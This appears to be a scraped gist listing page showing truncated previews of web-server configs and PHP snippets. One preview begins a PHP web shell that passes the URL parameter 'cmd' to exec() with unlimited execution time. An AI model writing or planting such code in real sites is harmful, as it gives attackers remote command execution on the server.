This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server { | |
listen 80; | |
index index.php; | |
server_name site.com admin.site.net; | |
client_max_body_size 32m; | |
client_body_buffer_size 32m; | |
charset utf-8; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* PHP 7.0.11-1+deb.sury.org~trusty+1 (cli) ( NTS ) | |
* Copyright (c) 1997-2016 The PHP Group | |
* Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies | |
* with Zend OPcache v7.0.11-1+deb.sury.org~trusty+1, Copyright (c) 1999-2016, by Zend Technologies | |
* with Xdebug v2.4.1, Copyright (c) 2002-2016, by Derick Rethans | |
* | |
* extension Judy => https://github.com/tony2001/php-judy/tree/php7 | |
*/ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* ~$ php -v | |
* PHP 7.0.0-5+deb.sury.org~trusty+1 (cli) ( NTS ) | |
* Copyright (c) 1997-2015 The PHP Group | |
* Zend Engine v3.0.0, Copyright (c) 1998-2015 Zend Technologies | |
* with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2015, by Zend Technologies | |
* | |
* ~$ php test.php |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @param yii\base\ModelEvent $event | |
*/ | |
$func = function($event) { | |
/** @var common\models\LoginForm $model */ | |
$model = $event->sender; | |
foreach($model->validators as $key => $item) { | |
if ($item instanceof yii\validators\InlineValidator && $item->method == 'validatePassword') { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* @link https://gist.github.com/lav45/31f9744049c5bca13a46 | |
* @author Alexey Loban <[email protected]> | |
* | |
* Example: | |
* debug(); | |
* debug($_POST); | |
* debug($_GET, $_POST, ...); | |
* |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
ini_set('max_input_time', 0); | |
ini_set('max_execution_time', 0); | |
if (!empty($_GET['cmd'])) { | |
$in = $_GET['cmd']; | |
$out = ""; | |
if (function_exists('exec')) { | |
@exec($in,$out); | |
$out = @join("\n",$out); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
server { | |
listen 80; | |
server_name ~^((?<sub>[^\.]+)\.)?(?<domain>[^\.]+)\.my$; | |
charset utf-8; | |
client_max_body_size 128m; | |
index index.php index.html index.htm; | |
error_log /var/www/log/nginx.error.log warn; | |
log_not_found on; | |
access_log off; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
ServerName localhost | |
AddDefaultCharset utf-8 | |
AddType application/x-httpd-php .php .phtml | |
DirectoryIndex index.html index.htm index.php | |
ServerAdmin [email protected] | |
DocumentRoot /var/www/my | |
<Directory /var/www/my> | |
Options FollowSymLInks SymLinksIfOwnerMatch MultiViews Indexes |
NewerOlder